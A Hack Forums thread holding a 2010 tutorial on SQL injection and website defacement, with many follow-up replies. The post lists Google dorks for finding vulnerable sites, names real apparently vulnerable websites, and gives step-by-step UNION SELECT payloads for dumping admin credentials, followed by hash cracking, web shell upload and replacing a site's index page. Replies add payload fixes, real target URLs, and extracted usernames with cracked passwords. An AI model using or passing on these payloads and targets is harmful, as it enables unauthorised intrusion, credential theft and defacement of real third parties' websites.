

Forum:[Hack Forums](#)

Thread: [SQL Injection + Defacement Tutorial by Deflate](#)

Deflate - August 1, 2010, 2:32 am

SQL Injection + Defacement Tutorial By Deflate

1. What is SQL? SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

2. What is Defacement ? A website defacement is an attack on a website that changes the visual appearance of the site. These are typically the work of system crackers, who break into a web server and replace the hosted website with one of their own.

What do you need before you start with SQL Injection.

You need Admin Finder (to find admin panel from website)

SQL Injection Vulnerable Scanner

Admin Finder: Spoiler ([Click to View](#))<http://www.mediafire.com/?0a4aw2gmeohndny>

Admin Finders online[NEW 03.12.2012]

Spoiler ([Click to View](#))

<http://sc0rpion.ir/af/index.php>

<http://scan.subhashdasyam.com/admin-panel-finder.php>

Vulnerable Scanner[NEW 03.12.2012]: Spoiler ([Click to View](#))

http://www.kinginfet.net/?page=sqli_google_scan & <http://isoftwarez.com/scanner/scanner/?> or you can use Exploit Scanner.

Dorks for Finding Vulnerable sites!: Spoiler ([Click to View](#))Code inurl:index.php?id=

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:lay_old.php?id=

inurl:declaration_more.php?decl_id=

inurl:ageid=

inurl:games.php?id=

inurl:age.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:show.php?id=

inurl:staff_id=

inurl:newsitem.php?num=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:historialeer.php?num=

inurl:reagir.php?num=

inurl:tray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:roduct-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communiquer_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:pinions.php?id=
inurl:spr.php?id=
inurl:lages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:articipant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:rod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:erson.php?id=
inurl:roductinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=

inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:rod_info.php?id=
inurl:shop.php?do=part&id=
inurl:roductinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:roduct.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:roduit.php?id=
inurl:op.php?id=
inurl:shopping.php?id=
inurl:roductdetail.php?id=
inurl:lost.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:lage.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:roduct_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:tran**.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:roduct-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=

inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurlpinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?id=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurlffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:lay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurltray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=

inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:pinions.php?id=
inurl:spr.php?id=
inurl:lages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:rod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:erson.php?id=
inurl:roductinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:rofile_view.php?id=
inurl:category.php?id=
inurl:ublications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:rod_info.php?id=
inurl:shop.php?do=part&id=
inurl:roductinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:roduct.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:roduit.php?id=
inurl:op.php?id=

inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:lost.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:age.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:tran**.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:pinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=

inurl:tekst.php?id=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:ffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl: info.php?id=
inurl:pro.php?id=

MD5 Hash Crackers Online:Spoiler (Click to View)<http://www.md5crack.com/>
<http://www.md5decrypter.com/>
<http://www.md5decrypter.co.uk/>
<http://md5.rednoize.com/>
<http://md5decryption.com/>
<http://www.md5decrypter.com/>
<http://passcracking.com/>
http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php
<http://www.xmd5.org/>
<http://www.md5cracker.com/index.php>
<http://md5.noisette.ch/index.php>
<http://md5cracker.org>

Text to ASCII Converter:Spoiler (Click to View)

<http://www.mikezilla.com/exp0012.html?ascii=login&hex=%2578&unicode=%26%23120;>
http://getyourwebsitehere.com/jswb/text_to_ascii.html

Shell:Spoiler (Click to View)<http://www.kinginfet.net/shells/>

Some vulnerable websites:Spoiler (Click to View)Code <http://www.texe.com/view.php?page=39>

<http://tehranavenue.com/article.php?id=675>
<http://www.nissi-beach.com/article.php?id=20>
<http://www.ausbooks.com.au/category.php?id=7>
<http://www.kidneytimes.com/article.php?id=20090909150812>
<http://kromann.info/article.php?id=11062861865960000>
<http://www.archidea.bg/page.php?id=1098>
http://www.bar.bg/designs/classic2_en.php?id=157

Starting Tutorial:

1. First you need to find vulnerable website.

<http://sql-vuln-site.com/index.php?id=15>

2. Now you need to find columns.

Code <http://sql-vuln-site.com/index.php?id=15> order by 1-- (no error)

<http://sql-vuln-site.com/index.php?id=15> order by 2-- (no error)

<http://sql-vuln-site.com/index.php?id=15> order by 3-- (no error)

<http://sql-vuln-site.com/index.php?id=15> order by 4-- (no error)

<http://sql-vuln-site.com/index.php?id=15> order by 5-- (no error)

<http://sql-vuln-site.com/index.php?id=15> order by 6-- (error)

Error`s looks like this: Code You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\39' at line 1
database query failure- SELECT * FROM texecom_sidemenu WHERE id='\39

3. Now Select columns

Columns is 5

Code `http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT 1,2,3,4,5--`
4. Finding version.

So if you not go the bold number 1 , 2, 3 , 4 one of them you will try all.
I choose 1

Code `http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT @@version,2,3,4,5--`
you got the version like this: Code 5.0.32-Debian_7etch11-log
5. Finding Tables

Code `http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT table_name,2,3,4,5 from information_schema.tables--`
And you will got tables like this:
Code PRODUCTS , ADMINS , and others
So must be there table by name: admin , users , user , login , client.

6. Finding Columns in the Table ADMINS.

Code `http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char()--`
We found ADMINS table now go to ASCII web and convert ADMINS

You will got this ADMINS
Remove &# and replace ; to ,
Like this: 65,68,77,73,78,83

Code You put `table_name=char(65,68,77,73,78,83)--`
Code `http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char(65,68,77,73,78,83)--`
And you will got the columns in table ADMINS
There need to have columns with names: username and password

7. Getting username and password.

Now we put `concat(username,0x3a,password)` and admins

Code `http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT concat(username,0x3a,password),2,3,4,5 from admins--`
(0x3a is ASCII)

8. Finded username and password

So you found the username and password
if the password is hash like this: 2510c39011c5be704182423e3a695e91
you will need to use MD5 Hash Online Crackers.

If password is not hash you are lucky and now you need to find admin panel.

9. Finding Admin Panel

Open the tool Admin Finder
Put the website in the bellow and click Scan.

So you found admin panel and it looks like this <http://sql-vuln-site.com/admin/login.php>

You open website and there have Username: Password:
Put username and password what you got.

Done you login in Admin Panel lets upload shell and deface.

10. Uploading Shell and Add Deface

In Admin Panel you will search categories or anything where you can upload a file or picture.
When you found, you will download shell from the website who i tell you before start tutorial so you will try to upload your shell like: r57.php when you upload it you will see the link of the upload and open it like this:

<http://sql-vuln-site.com/upload/r57.php>

If can't upload r57.php change it to r57.jpg.php or r57.txt and try!

You need to make a deface page in html and put in the website so you open the shell looks like this image: Spoiler [\(Click to View\)](#)

You will found a file index.php and click on it and there you will remove the php code from index and put your html code.

Congratulations you deface the website.

Thanks for reading my tutorial i hopes it will help you .
I will make and Video tutorial!

Bigdady27 - August 1, 2010, 2:38 am

Nice tut mate, very nice...:)

Thanks for this

<S>

Bigdady27

nacker - August 1, 2010, 3:10 am

Nice tut dud. Keep up.. .

C-Digg - August 1, 2010, 3:14 am

You didn't write this. Your grammar is terrible.

Deflate - August 1, 2010, 3:20 am

(Aug 1, 2010 03:14 AM)Psyche15 Wrote: [\[CITE\]](#) You didn't write this. Your grammar is terrible.
I write this ! my english is not very good :S

MazTrojan - August 1, 2010, 5:13 am

Good Tut man will help people learning alot this is a more direct tut, unlike other seem to beat around the bush, yours is to the point good job.

xer0 - August 1, 2010, 6:36 am

May i ask because i am new to this but how do you find these vulnerable sites to start with eg. do you search Google?

Deflate - August 1, 2010, 7:20 am

(Aug 1, 2010 06:36 AM)xer0 Wrote: [\[CITE\]](#) May i ask because i am new to this but how do you find these vulnerable sites to start with eg. do you search Google?

1. Go in <http://seanstar.000space.com/>
 2. In bellow line have allinurl:php?id= remove it and put some other like trainers.php?id=
 3. Click scan
 4. You will got websites like this <http://abrionline.org/article.php?id='75>
 5. You need to remove ' to be like this <http://abrionline.org/article.php?id=75>
- Thats all you can use and Exploit Scanner or other scanners!

technotrucker - August 1, 2010, 7:58 am

you have an error in step 2

if you get an error with order by 5 it means you have only 4 columns. not 5

and i would add md5cracker.org to the online md5 crackers. it uses several services to find the hash.

EDIT: and i would recommend to rename the index.php and make a new index.php. or leave the index.php and create a index.html

a deface should not destroy...

Deflate - August 1, 2010, 8:14 am

(Aug 1, 2010 07:58 AM)technotrucker Wrote: [\[CITE\]](#) you have an error in step 2
if you get an error with order by 5 it means you have only 4 columns. not 5

and i would add md5cracker.org to the online md5 crackers. it uses several services to find the hash.

EDIT: and i would recommend to rename the index.php and make a new index.php. or leave the index.php and create a index.html

a deface should not destroy...

I not saw that now i fix it .

md5cracker.org added

vmking - August 1, 2010, 8:58 am

Thanks Deflate you help me very much !! :D

Squirtle - August 1, 2010, 11:41 am

Retarded question but what do you mean by order by 1 order by 2 etc etc?

Seravin - August 1, 2010, 11:44 am

nothing new, there 100500 tuts on hf like this

Deflate - August 1, 2010, 12:35 pm

(Aug 1, 2010 11:41 AM)insulted Wrote: [\[CITE\]](#) Retarded question but what do you mean by order by 1 order by 2 etc etc?

You new in sql?

with "order" you finding columns.

Squirtle - August 1, 2010, 12:41 pm

yes but what does it mean like what do i put and yes im new to sql

Deflate - August 1, 2010, 12:48 pm

(Aug 1, 2010 12:41 PM)insulted Wrote: [\[CITE\]](#) yes but what does it mean like what do i put and yes im new to sql

Read the tutorial.

There have and vuln websites and scanner!

Squirtle - August 1, 2010, 2:34 pm

ok so i've found my vulnerable site, now im on part 2

<http://sql-vuln-site.com/index.php?id=15> order by 1-- (no error)

<http://sql-vuln-site.com/index.php?id=15> order by 2-- (no error)

<http://sql-vuln-site.com/index.php?id=15> order by 3-- (no error)

<http://sql-vuln-site.com/index.php?id=15> order by 4-- (no error)

<http://sql-vuln-site.com/index.php?id=15> order by 5-- (no error)

<http://sql-vuln-site.com/index.php?id=15> order by 6-- (error)

What does order by 1 2 3 4 5 6 etc mean?

Seravin - August 1, 2010, 3:12 pm

order=sorted by column number

Squirtle - August 1, 2010, 6:43 pm

yes i know -.-... But what do i do...?

Spy[Emo] - August 1, 2010, 11:56 pm

Favourited,

Nice tutorial >:D

technotrucker - August 2, 2010, 10:30 am

@insulted.

a query deccribed by an sql select statement returns a table of data. the technique of sqli (SQL Injection) tries to add 1 row to this result. for that row you have to know how many columns the result table has. so you try to order it by i.e. 5 (5th column). if you get an error you know the result has less than 5 columns. if you dont get an error it has 5 or more columns. depening on error or not you continue to try.

if 6 gives an error, but 5 doesnt you know the result has 5 columns. (less than 6, more or equal to 5 -> 5)

so you can inject a row by using UNION SELECT.

the data in this row can be from a variable that the server provides like @@version, or the return value of a serverside function like user() or database(), or data from another table for example the admins username and password.

for further informations try to learn SQL :)

und34dc0wz - August 2, 2010, 11:42 am

nice one deflate

ur always helpful :P

oldmanjenkins - August 5, 2010, 7:54 am

Nice Tutorial, Deflate, waiting for next tut . . .

@Hm3d - August 5, 2010, 10:59 am

Great Tutorial man Thanks

hahaha.lol - August 5, 2010, 1:05 pm

Very nice tutorial..i have seen other tutorials on sqli but this one was quite good..it will help new people to learn how to sqli

hacc - August 5, 2010, 3:18 pm

you need a - before the id when you do UNION SELECT

Invicious - August 5, 2010, 3:22 pm

you have a view errors

but i really love this guide ALOT OF MISTAKES BEWARE

MVJESTIC - August 5, 2010, 3:24 pm

This is leeches from somewhere else. I saw it somewhere else, I don't remember where, though.

iPhr34k - August 5, 2010, 8:46 pm

Awesome tutorial on SQLI thanks for sharing with us.

Deflate - August 6, 2010, 7:48 am

(Aug 5, 2010 03:24 PM)Purple Drank Wrote: [\[CITE\]](#) This is leeches from somewhere else. I saw it somewhere else, I don't remember where, though.

omg is not leached, i writed it ..

Sorry for bad english.

Rippin™ - August 6, 2010, 10:31 am

I don't get step 4 what do you mean by .

"Finding version. So if you not go the bold number 1 , 2, 3 , 4 one of them you will try all.

I choose 1"

What does this mean?

h3h3y9 - August 6, 2010, 10:38 am

really nice tutorial mate ;)

I will read it carefully later and try it out!

thanks.

cruworld - August 7, 2010, 5:33 am

Nice tutorial bro really like it

p0iz0ner - August 7, 2010, 6:50 am

Its great. I want some help regarding sql errors as i am developing a tool that will check sites for sql vulnerabilities. so could you please give me a list of sql errors.

hackinglover - August 10, 2010, 12:45 am

Nice Tut Dude..Keep IT Up...

Ajhusshi - August 22, 2010, 3:31 am

thanks deflate bro , your tutorials helps me!

hacc - August 22, 2010, 8:49 am

You forgot to null the 15. Like <http://sql-vuln-site.com/index.php?id=-15> when you use union statements.

also, you should have explained what that does. it makes numbers come up on the screen and those are vuln columns that can be replaced with queries to extract data.

Valour - August 22, 2010, 10:42 am

This is a good tut as this is to the point without much of a fuss but still I would have preferred being it more explanatory. If you are good at SQL (not SQL injections, but SQL programming) then you can put explanations on what each of the syntax executed by putting in the URL does and how it works(if you know, this is not flaming by any means).

Thanks for this great tutorial

PhortyPhour - August 24, 2010, 8:43 pm

Alright tutorial, not the greatest grammar...

Illiii3e - August 25, 2010, 2:21 pm

i finally do it !

thanks :)

Deflate - August 26, 2010, 6:10 am

(Aug 26, 2010 04:37 AM)darkdevil Wrote: [\[CITE\] https://hackforums.net/showthread.php?tid=637780](https://hackforums.net/showthread.php?tid=637780)

need comment on this

What about that link i cant open it ?

Sir™ - August 26, 2010, 11:05 am

hi guys,

i have a litle problem, if i try to read a column from a table with an "_" (for example: user_preveleges) i get an error message like this:

Table 'zaishu_zaishu.user_preveleges' doesn't exist..

but i know that this table exists!!

with tables without the "_" it works perfect

can anyone help me please

thx

..kranked:.

PhortyPhour - August 26, 2010, 4:25 pm

(Aug 26, 2010 06:10 AM)Deflate Wrote: [\[CITE\]](#) What about that link i cant open it ?

He's been spamming that link around this section for awhile just report it.

ZzoZ - August 26, 2010, 5:16 pm

I got the
name of the database
name of the user
and the database version

4.1.22>hsadb2@205.178.145.65>hsaar

==

but the version 4.1.22

Table Name

+ register

name

mail

id

newsletter

+ contact

+ upload

content

name

id

+ company

Can anyone help me To extract the user name and password

this link :

http://www.hsagroup.com/ar/company_main.php?cpytype=4

metonk ajjah - August 28, 2010, 1:23 am

Nice tuts.. Keep ur posting.. With this tuts i can deface any vuln websites..

Guardone - August 29, 2010, 1:23 pm

Nice Tutorial :D

Thanks ^^

nacker - August 29, 2010, 2:28 pm

Interesting tut. Respect for Macedonia.

iamhappy321 - September 2, 2010, 3:55 pm

simple easy tautorial to follow thanks <3

Whyphaii - September 4, 2010, 10:52 am

Hi.. nice tut.. i followed your instruction so that's why i am here now at the administrator table..

in administrator table , there's:

administratorID

username

password

fullName

telephone

emailAddress

i tried Step # 7..

<http://sample.com/index.php?id=1> UNION ALL SELECT
1,2,3,4,concat(username,0x3a,password),6,7,8 from administrator--

i got these:

cjadmin:0bfd3afdab4a11dea1584bee8cf7ad83 (Cracked: cjmasterinf)
TnCi2010:59185cb7ba50a6be6570d9679486ad39 (Cracked: uareme03)

then i go to their login page or admin

www.sample.com/admin/

and there's pop-up for login..

[img]http://i26.servimg.com/u/f26/14/46/69/23/ss111.png[/img]

i tried Username: cjadmin

password: cjmasterinf

i can't login.. i tried the 2nd but still the same.. i can't login..

Deflate - September 4, 2010, 1:01 pm

(Sep 4, 2010 10:52 AM)Whyphaii Wrote: [\[CITE\]](#) Hi.. nice tut.. i followed your instruction so that's why i am here now at the administrator table..

in administrator table , there's:

administratorID

username

password

fullName

telephone

emailAddress

i tried Step # 7..

<http://sample.com/index.php?id=1> UNION ALL SELECT
1,2,3,4,concat(username,0x3a,password),6,7,8 from administrator--

i got these:

cjadmin:0bfd3afdab4a11dea1584bee8cf7ad83 (Cracked: cjmasterinf)
TnCi2010:59185cb7ba50a6be6570d9679486ad39 (Cracked: uareme03)

then i go to their login page or admin

www.sample.com/admin/

and there's pop-up for login..

[img]http://i26.servimg.com/u/f26/14/46/69/23/ss111.png[/img]

i tried Username: cjadmin

password: cjmasterinf

i can't login.. i tried the 2nd but still the same.. i can't login..

Good work man but you got a user&pass from other panel because there maybe is phpadmin panel you need to crack it or to search other panel.

Whyphaii - September 4, 2010, 8:46 pm

Thanks!

How can i crack it ??
and where can i search other panel ?

iUndead - September 4, 2010, 9:07 pm

i have the same problem as Whyphaii on another site. How can i find and crack the other panel.

myttarn - September 7, 2010, 8:11 am

This looks great, gonna try this, if this works i will kiss you

eyestrain - September 7, 2010, 12:32 pm

huwow!

that was very clear....

thank you sir for this very great tuts...

regards

Ajhusshi - September 17, 2010, 3:34 am

yeah deflate tutorials are best ..

Off Topic: Kako ide na forumov?

PRODIGY™ - September 17, 2010, 3:36 am

This is one of the best tutorials I have seen, yet. Very detailed. You deserve a +3 OP.

T!T@N - September 17, 2010, 4:20 pm

Great tutorial ... reminds me of the time when i learned SQL injection step by step :)

eddyhack - September 21, 2010, 10:23 am

Mate, thanks but when I do Code UNION ALL SELECT 1,2,3,@@version,5,6--

I get error saying: Code The used SELECT statements have a different number of columns

Can you help me please?

I tried that command for all six columns...

Cheerz!?

PlickaMaterna - September 21, 2010, 11:18 am

The used SELECT statements have a different number of columns

That command is used more than once in website itself and that is why error is shown. Double query is solution-

eddyhack - September 21, 2010, 11:46 am

(Sep 21, 2010 11:18 AM)Plitvix Wrote: [\[CITE\]](#) The used SELECT statements have a different number of columns

That command is used more than once in website itself and that is why error is shown. Double query is solution-

What do you mean by doubly query? ?

branco - September 23, 2010, 9:21 am

Quote:<http://www.kittila.fi/web/index.php?id='3>

<http://www.muonio.fi/web/index.php?id='3>

why i never get the version like this:

Quote:5.0.32-Debian_7etch11-log

can you tell me what is wrong?
TS please try above website. thanks

eddyhack - September 23, 2010, 10:56 am

(Sep 23, 2010 09:21 AM)branco Wrote: [\[CITE\]](#) why i never get the version like this:
Quote:5.0.32-Debian_7etch11-log

can you tell me what is wrong?
TS please try above website. thanks
Well, you can't get an sql version just by putting ' before the number.
You need to find the right column, and then using @@version command see the sql version. Check some tutorials on how to do that!

[SQL Injection Attacks](#)

cheerz?

branco - September 24, 2010, 10:31 am

Hi eddyhack, you missunderstood.
That site is example of Vulnerable that i found.

I check with tutorial from TS to found the column:
<http://www.muonio.fi/web/index.php?id=3> order by 3-- (no error)

after that i try to find the version using @@version at 1,2 and 3 column.
But i never get the version.

thanks

metonk ajjah - September 29, 2010, 1:45 am

I want to ask..

If i upload a c99.php in image upload box, how to upload? And how to open it if the shell is rename to c99.Jpg or c99.jpg.php?

Answer please..
Thank you..

Viggø - October 4, 2010, 3:44 am

fine tuts, nice work, just request basic knowledge in SQL language ... very interresting

saheliano - October 4, 2010, 11:51 am

thnx !!! Good tut , but <http://seanstar.000space.com/> not work :(((

aa1122 - October 4, 2010, 7:42 pm

Yeah this one is really nice, I'm pretty new here, joined 3 days ago and it seems as if most of the tutorials are too vague and avoid steps, thanks for this!

microsoldier - October 5, 2010, 1:59 am

Hi i have one problem when i write this union all select 1,2,3,table_name,5,6,7,8,9,10,11,12 from information_schema.tables--

I find table admin when i go to that table i see id admin and pass when i write this union all select 1,2,3,concat(admin,0x3a,pass),5,6,7,8,9,10,11,12 from admin-- i see admin:asdfgh this is user name and password??? but i can't login it's says that password or user name is invalid ;(Please help

Sorry for very bad English :D

the_beast - October 5, 2010, 3:15 am

WOw i like it... iam gonna rock with it

CursedPX - October 5, 2010, 2:03 pm

Nice TuT.

~Keep Up the GoOd Work.

.InSaNe - October 7, 2010, 8:46 pm

from here <http://sql-vuln-site.com/index.php?id=15> UNION ALL SELECT 1,2,3,4,5-- you need to add a - between =and 15

Like this =-15

StEp Up! - November 2, 2010, 5:13 am

best tut i have seen ever..

xiM3T - November 2, 2010, 5:24 am

Nice tut

~Keep Up the GoOd Work.

Sh0x - November 2, 2010, 2:09 pm

nice tut dude !!!! keep it up ;)

djnos - November 2, 2010, 4:40 pm

noone of the online crackers found the password for this : e928a2c2003cefe55d930c0ae4b220c2

any help?

StEp Up! - November 3, 2010, 1:44 am

dude very nice tut love you brother...

MarkLeevE - November 11, 2010, 11:00 am

wow! this is cool.. I'm gonna try this later.. .

lord_edz - November 12, 2010, 2:42 pm

yah... nice!!! defacement should not destroy... for me, hackers are made for better security, they warned, they gave, they taught, they changed....

thanks for the information guyz..you are very good

Nihilus - November 13, 2010, 9:50 am

Well, I've tried this on several vulnerable sites, and whenever I input something like UNION ALL SELECT 1,2,3,table_name,4 from information_schema.tables--, assuming that the 3rd column is vulnerable, it simply displays "CHARACTER_SETS".

What am I doing wrong?

Unreality - November 13, 2010, 9:54 am

(Nov 13, 2010 10:50 AM)Nihilus Wrote: [\[CITE\]](#) Well, I've tried this on several vulnerable sites, and whenever I input something like UNION ALL SELECT 1,2,3,table_name,4 from information_schema.tables--, assuming that the 3rd column is vulnerable, it simply displays "CHARACTER_SETS".

What am I doing wrong? You have to use 'group_concat(table_name)', so it will list all the tables in the DB.

h1t4k3 - November 14, 2010, 2:10 am

Nice tutorial brother, good job....

ghost13 - November 23, 2010, 3:04 am

<script>alert("it's really fucking shit")</script>

TzuLLy - December 4, 2010, 6:30 am

good tut, man!

very helpful

I_Learning_I - December 18, 2010, 4:08 am

How about the possibility to inject ode in the actual database? If you already know that it encrypts in MD5, and if it has a vulnerability, perhaps it's running root user which has Insert privileges, which means you can insert a new user and gran it access and after that login with your Username and Password.

You could also open a shell through PHP injection code.

And you might have forgotten that not every websites have a Control Panel, neither they are in the same website.

Mikel - December 24, 2010, 4:14 am

Hey man, I did all starting from step 1 to 6 with out a problem but when it came to step 7, it displays an error.Can anyone help me about this one?

tequila - December 24, 2010, 4:21 am

(Dec 18, 2010 05:08 AM)I_Learning_I Wrote: [\[CITE\]](#) How about the possibility to inject ode in the actual database? If you already know that it encrypts in MD5, and if it has a vulnerability, perhaps it's running root user which has Insert privileges, which means you can insert a new user and gran it access and after that login with your Username and Password.

You could also open a shell through PHP injection code.

And you might have forgotten that not every websites have a Control Panel, neither they are in the same website.

In theory it works, in reality it hardly ever does. Thats because PHP and mysql wont allow stacked queries.

(Dec 24, 2010 05:14 AM)Mikel Wrote: [\[CITE\]](#) Hey man, I did all starting from step 1 to 6 with out a problem but when it came to step 7, it displays an error.Can anyone help me about this one?

Post a site here or PM me.

BiscuitEdi - December 26, 2010, 8:41 am

nice tut bro, i hope u'll post one for LFI and RFI :D

Shivam3013 - December 29, 2010, 12:37 pm

I'm on step 6, and I'm stuck on it, this is so difficult.

Deflate - January 2, 2011, 7:49 am

(Dec 29, 2010 01:37 PM)Shivam3013 Wrote: [\[CITE\]](#) I'm on step 6, and I'm stuck on it, this is so difficult.

tell more information here or in pm if you want to be private.

xxxx95 - June 25, 2011, 4:58 pm

Man can you make video tut,and if i can get it link please!?!?

SIM-73089 - July 18, 2011, 1:24 pm

Awesome Tutorial man. Keep it Up.

undying21 - July 18, 2011, 1:58 pm

Very interesting,thank you

Mr.GrammarNazi - July 19, 2011, 1:52 am

(Aug 1, 2010 03:14 AM)C-Digg Wrote: [\[CITE\]](#) You didn't write this. Your grammar is terrible. It does say he's from macedonia dude.

safaali - July 22, 2011, 4:44 pm

thank you it was brief and simple said

sourcec0de - July 25, 2011, 12:05 pm

nice tut .. thanxz!! for posting

ANTI HERO - July 25, 2011, 1:02 pm

I can tell you this. This is the first SQL tutorial that didn't mix things up for once. I've done only one SQLi, and that was probably last week, but this is very easy to memorize, I can memorize up to getting the version. Thanks man.

Stoneman420 - July 25, 2011, 8:57 pm

Very nice tut man. Maybe include a little section about what to do if SQL version comes back as 4. And how you have to either guess or use a tool to find the column names. God I hate when it comes back as 4. This is perfect if it comes back as 5 though!

KingOfAll - July 25, 2011, 11:32 pm

